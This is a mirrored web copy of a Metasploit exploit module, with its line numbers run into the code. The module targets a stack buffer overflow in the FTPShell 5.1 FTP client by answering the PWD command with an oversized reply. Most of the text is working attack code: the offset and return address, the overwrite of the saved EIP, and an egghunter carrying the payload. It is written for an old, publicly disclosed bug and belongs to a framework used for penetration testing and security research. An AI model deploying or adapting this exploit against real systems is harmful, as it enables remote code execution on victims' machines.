Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/ftp/ftpshell51_pwd_reply.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GoodRanking78include Exploit::Remote::FtpServer9include Exploit::Remote::Egghunter1011def initialize(info = {})12super(update_info(info,13'Name' => 'FTPShell 5.1 Stack Buffer Overflow',14'Description' => %q{15This module exploits a stack buffer overflow in FTPShell 5.1. The overflow gets16triggered when the ftp client tries to process an overly long response to a PWD17command. This will overwrite the saved EIP and structured exception handler.18},19'Author' =>20[21'corelanc0d3r <peter.ve[at]corelan.be>' #found bug, wrote the exploit22],23'License' => MSF_LICENSE,24'References' =>25[26[ 'OSVDB', '68639'],27[ 'URL', 'http://www.corelan.be:8800/index.php/2010/10/12/death-of-an-ftp-client/' ],28],29'DefaultOptions' =>30{31'EXITFUNC' => 'thread',32},33'Payload' =>34{35'BadChars' => "\x00\xff\x0d\x5c\x2f\x0a",36},37'Platform' => 'win',38'Targets' =>39[40[ 'Windows XP Universal', { 'Offset' => 399, 'Ret' => 0x779A5483 } ], #jmp ebp [setupapi.dll]]41],42'Privileged' => false,43'DisclosureDate' => '2010-10-12',44'DefaultTarget' => 0))4546end474849def setup50super51end5253def on_client_unknown_command(c,cmd,arg)54c.put("200 OK\r\n")55end565758def on_client_command_pwd(c,arg)5960badchars = ""61eggoptions =62{63:checksum => true,64:eggtag => "w00t"65}66hunter,egg = generate_egghunter(payload.encoded,badchars,eggoptions)6768print_status(" - PWD command -> Sending payload")69junk = "A" * target['Offset']70nops = "A" * 1071tweakhunter = "\x5a\x5a"72eip = [target.ret].pack('V')73buffer = junk + eip + nops + tweakhunter + hunter + egg74pwdoutput = "257 \"/" + buffer+ "\" is current directory\r\n"75c.put(pwdoutput)76print_status(" - Sent #{pwdoutput.length} bytes, wait for hunter")77return7879end80end818283